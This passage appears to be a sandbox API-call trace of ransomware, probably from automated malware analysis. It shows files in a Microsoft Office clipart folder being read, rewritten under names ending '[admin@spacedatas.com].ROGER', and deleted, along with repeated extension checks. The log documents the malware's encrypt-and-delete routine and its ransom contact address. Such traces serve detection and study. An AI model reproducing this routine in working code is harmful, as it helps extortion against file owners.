lstrlenW (lpString=".ppt") returned 4 [0057.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".zip") returned 4 [0057.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.407] lstrlenW (lpString=".rar") returned 4 [0057.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString=".bz2") returned 4 [0057.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.407] lstrlenW (lpString=".7z") returned 3 [0057.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.407] lstrlenW (lpString=".dbf") returned 4 [0057.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.408] lstrlenW (lpString=".1cd") returned 4 [0057.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0057.408] lstrlenW (lpString=".jpg") returned 4 [0057.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.408] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.408] lstrlenW (lpString="AN00914_.WMF") returned 12 [0057.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.409] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=10832) returned 1 [0057.409] CloseHandle (hObject=0x3e0) returned 1 [0057.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0057.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.409] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.409] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.410] GetLastError () returned 0x0 [0057.410] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x2a50, lpOverlapped=0x0) returned 1 [0057.411] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0057.412] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.413] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.413] SetEndOfFile (hFile=0x358) returned 1 [0057.413] CloseHandle (hObject=0x358) returned 1 [0057.413] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.413] SetEndOfFile (hFile=0x3e0) returned 1 [0057.414] CloseHandle (hObject=0x3e0) returned 1 [0057.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0057.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.414] lstrlenW (lpString=".doc") returned 4 [0057.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString=".docx") returned 5 [0057.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.415] lstrlenW (lpString=".pdf") returned 4 [0057.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString=".xls") returned 4 [0057.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.415] lstrlenW (lpString=".xlsx") returned 5 [0057.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.415] lstrlenW (lpString=".ppt") returned 4 [0057.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString=".zip") returned 4 [0057.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.415] lstrlenW (lpString=".rar") returned 4 [0057.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString=".bz2") returned 4 [0057.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString=".7z") returned 3 [0057.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString=".dbf") returned 4 [0057.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString=".1cd") returned 4 [0057.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString=".jpg") returned 4 [0057.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.415] lstrlenW (lpString=".doc") returned 4 [0057.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString=".docx") returned 5 [0057.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.416] lstrlenW (lpString=".pdf") returned 4 [0057.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString=".xls") returned 4 [0057.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.416] lstrlenW (lpString=".xlsx") returned 5 [0057.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.416] lstrlenW (lpString=".ppt") returned 4 [0057.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.416] lstrlenW (lpString=".zip") returned 4 [0057.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.416] lstrlenW (lpString=".rar") returned 4 [0057.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString=".bz2") returned 4 [0057.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString=".7z") returned 3 [0057.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.416] lstrlenW (lpString=".dbf") returned 4 [0057.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.416] lstrlenW (lpString=".1cd") returned 4 [0057.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0057.416] lstrlenW (lpString=".jpg") returned 4 [0057.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.417] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.417] lstrlenW (lpString="AN00932_.WMF") returned 12 [0057.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.417] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=14428) returned 1 [0057.417] CloseHandle (hObject=0x3e0) returned 1 [0057.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0057.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.417] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.417] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.418] GetLastError () returned 0x0 [0057.418] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x385c, lpOverlapped=0x0) returned 1 [0057.523] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x3860, lpOverlapped=0x0) returned 1 [0057.524] ReadFile (in: hFile=0x3e0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.524] WriteFile (in: hFile=0x358, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.524] SetEndOfFile (hFile=0x358) returned 1 [0057.524] CloseHandle (hObject=0x358) returned 1 [0057.524] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.524] SetEndOfFile (hFile=0x3e0) returned 1 [0057.527] CloseHandle (hObject=0x3e0) returned 1 [0057.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".doc") returned 4 [0057.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString=".docx") returned 5 [0057.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.851] lstrlenW (lpString=".pdf") returned 4 [0057.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString=".xls") returned 4 [0057.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.851] lstrlenW (lpString=".xlsx") returned 5 [0057.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.851] lstrlenW (lpString=".ppt") returned 4 [0057.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".zip") returned 4 [0057.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.851] lstrlenW (lpString=".rar") returned 4 [0057.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString=".bz2") returned 4 [0057.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString=".7z") returned 3 [0057.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".dbf") returned 4 [0057.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".1cd") returned 4 [0057.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".jpg") returned 4 [0057.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.851] lstrlenW (lpString=".doc") returned 4 [0057.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString=".docx") returned 5 [0057.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.852] lstrlenW (lpString=".pdf") returned 4 [0057.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString=".xls") returned 4 [0057.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.852] lstrlenW (lpString=".xlsx") returned 5 [0057.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.852] lstrlenW (lpString=".ppt") returned 4 [0057.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.852] lstrlenW (lpString=".zip") returned 4 [0057.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.852] lstrlenW (lpString=".rar") returned 4 [0057.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString=".bz2") returned 4 [0057.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString=".7z") returned 3 [0057.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.852] lstrlenW (lpString=".dbf") returned 4 [0057.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.852] lstrlenW (lpString=".1cd") returned 4 [0057.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0057.852] lstrlenW (lpString=".jpg") returned 4 [0057.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.853] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.853] lstrlenW (lpString="AN01084_.WMF") returned 12 [0057.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.252] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1832) returned 1 [0058.252] CloseHandle (hObject=0x3d4) returned 1 [0058.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0058.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.252] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.252] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.253] GetLastError () returned 0x0 [0058.253] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x728, lpOverlapped=0x0) returned 1 [0058.296] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x730, lpOverlapped=0x0) returned 1 [0058.297] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.297] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.297] SetEndOfFile (hFile=0x388) returned 1 [0058.297] CloseHandle (hObject=0x388) returned 1 [0058.298] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.298] SetEndOfFile (hFile=0x3d4) returned 1 [0058.299] CloseHandle (hObject=0x3d4) returned 1 [0058.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0058.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.299] lstrlenW (lpString=".doc") returned 4 [0058.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.299] lstrlenW (lpString=".docx") returned 5 [0058.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.299] lstrlenW (lpString=".pdf") returned 4 [0058.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.299] lstrlenW (lpString=".xls") returned 4 [0058.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.299] lstrlenW (lpString=".xlsx") returned 5 [0058.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.299] lstrlenW (lpString=".ppt") returned 4 [0058.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.299] lstrlenW (lpString=".zip") returned 4 [0058.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.300] lstrlenW (lpString=".rar") returned 4 [0058.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString=".bz2") returned 4 [0058.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString=".7z") returned 3 [0058.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString=".dbf") returned 4 [0058.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString=".1cd") returned 4 [0058.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString=".jpg") returned 4 [0058.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString=".doc") returned 4 [0058.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString=".docx") returned 5 [0058.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.300] lstrlenW (lpString=".pdf") returned 4 [0058.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString=".xls") returned 4 [0058.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.300] lstrlenW (lpString=".xlsx") returned 5 [0058.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.300] lstrlenW (lpString=".ppt") returned 4 [0058.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.300] lstrlenW (lpString=".zip") returned 4 [0058.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.300] lstrlenW (lpString=".rar") returned 4 [0058.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.301] lstrlenW (lpString=".bz2") returned 4 [0058.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.301] lstrlenW (lpString=".7z") returned 3 [0058.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.301] lstrlenW (lpString="C:\\Program 